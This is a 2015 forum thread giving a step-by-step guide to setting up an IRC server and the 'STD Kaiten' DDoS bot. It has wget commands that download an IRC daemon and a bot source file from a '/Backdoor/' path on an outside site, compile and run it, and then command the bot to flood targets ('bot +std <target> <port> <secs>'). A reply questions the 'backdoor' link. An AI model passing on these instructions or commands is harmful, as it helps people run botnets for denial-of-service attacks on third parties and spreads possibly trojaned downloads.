Thread: [Full STD Kaiten Setup < Step By Step >](#)

overflowing - August 30, 2015, 9:23 am

First get your irc setup

```
wget http://0xplanet(.)com/archive/IRC/Unreal3.2.10.zip
```

```
unzip Unreal3.2.10.zip
```

```
cd /Unreal3.2.10
```

Once you did that you will need a client to access your server then you would put your IRC IP & Port In the unreal.conf file .

Once you configured all of that you want to go back to your server and type

./unreal start , then your IRC Is up :) . Any problems contact me on skype "overflowing " is my skype .

Now to the STD Kaiten Bot

```
wget http://thedarkweb(.)ga/Backdoor/std.c
```

Now lets go into editing that file , and put your Channel you want it on the port you connect to your IRC on and your IRC IP Address.

On Centos Type : Type in yum install gcc and hit enter inside your server.

Then type in gcc -o std std.c and hit enter .

then finally do ./std and your bot will go on your channel if you configured it right .

Need Help contact me on skype " overflowing "

DDOS ATTACK COMMANDS FOR STD KAITEN

```
>bot +std <target> <port> <secs>
```

```
>bot +unknown <target> <secs>
```

this is your first post and there is a link to a file with the name "backdoor" jesus

overflowing - August 30, 2015, 9:29 am

It's name backdoor because its on my site " thedarkweb.ga"

which I just created a archive named backdoor and uploaded scripts their thank you. :)
